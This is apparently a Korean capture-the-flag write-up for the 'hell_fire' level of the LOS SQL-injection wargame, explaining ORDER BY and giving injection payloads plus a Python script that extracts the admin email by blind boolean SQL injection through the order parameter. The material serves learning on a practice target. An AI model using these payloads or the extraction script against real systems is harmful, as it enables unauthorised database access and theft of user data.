Web/LOS

LOS - hell_fire

cloudnaaam 2024. 10. 18. 21:53

23번째 문제 hell fire 다.

 

이번 문제는 쿼리에 order by 가 사용되었다.

id=admin 이면 email 이 반환되고 우리는 이 email 을 blind injection 해서 구하면 될 것 같다.

 

그 전에 먼저 order by가 뭔지 알아보자

 

order by 는 한 마디로 정렬하는 문법이다.

select 컬럼명 from 테이블명 where 조건 order by 컬럼명;

이런 식으로 쿼리문을 짜면 order by 뒤에 있는 컬럼명을 기준으로 반환 값이 정렬된다.

 

예를 들어서

이런 테이블이 있을 때

select * from 테이블 where 1 order by uid;

로 쿼리문을 짜면

이렇게 uid를 기준으로 정렬된 것을 볼 수 있다.

select * from 테이블 where 1 order by upw;

이렇게 쿼리문을 짜면

이번에는 upw를 기준으로 정렬된 것을 볼 수 있다.

 

추가적으로 쿼리문 맨 뒤에 ASC를 붙이면 오름차순, DESC 를 붙이면 내림차순으로 정렬된다.

(기본적으로는 오름차순으로 정렬된다.)

 

그 밖에도

select uid from requests where 1 order by upw and length(upw)>1;

이렇게 뒤에 and 를 붙일 수도 있다.

 

그럼 order by에 대해 대략 알아보았으니 이제 문제를 풀어보자

 

일단 테이블의 원래 순서를 알아보자

order=id or 1=0;

를 입력하면

테이블의 원래 순서를 알 수 있다.

 

(order by 문에 (id or 1=0)이 들어갔고 이는 참이기 때문에 모든 데이터에 대해 참을 반환하게 된다.

참, 거짓이 모든 데이터에 똑같이 들어가게 되면 order by 문은 효과가 없어지고 원래 정렬 순서를 반환하게 된다.)

 

그리고 원래 순서를 구했으니, 위에서 설명한 걸 이용해서 문제를 풀었다.

import requests

php = 'h3f5ptfm8b4nsjqe8o23jfji39'
admin = '<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>admin</td><td>**************</td><td>200</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.cm</td><td>100</td></tr></table><hr>'
rubiya = '<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>rubiya</td><td>rubiya805@gmail.cm</td><td>100</td></tr><tr><td>admin</td><td>**************</td><td>200</td></tr></table><hr>'

for i in range(1,100):
    r = requests.get(url, params={'order':f"id='rubiya' or id='admin' and length(email)={i};"}, cookies={'PHPSESSID':php})
    # print(r.text)
    if rubiya in r.text:
        print(f'email length = {i}')
        break
password = ''

for i in range(1,29):
    for j in range(33,200):
        r = requests.get(url, params={'order':f"id='rubiya' or id='admin' and ascii(substr(email,{i},1))='{j}';"}, cookies={'PHPSESSID':php})

        if rubiya in r.text:
            print(f'{i} password = {j}')
            password += chr(j)
            break

print(password)

쿼리문을 보면 email 길이를 구할 때는

order=id='rubiya' or id='admin' and length(email)={};

email 을 구할 때는

order=id='rubiya' or id='admin' and ascii(substr(email,{},1))='{}';

로 짰다.

일단 id=’rubiya’ 는 rubiya 데이터에게 무조건 참이고,

id=’admin’ and (쿼리문) 이 거짓이면

admin → 0, rubiya → 1 으로 인식되기 때문에

이렇게 데이터가 정렬되어 반환된다.

(오름차순이니까 0 이 먼저 나오게 되는 것.)

 

그런데 만약 id=’admin’ and (쿼리문) 이 참이면

admin → 1, rubiya → 1 로 둘 다 1이기 때문에 원래 테이블 정렬 순서로 반환되는 것이다.

풀었다!

'Web > LOS' 카테고리의 다른 글

LOS - green_dragon  (0) 2024.10.19
LOS - evil_wizard  (0) 2024.10.18
LOS - dark-eyes  (0) 2024.10.18
LOS - iron_golem  (0) 2024.10.18
LOS - dragon  (0) 2024.10.18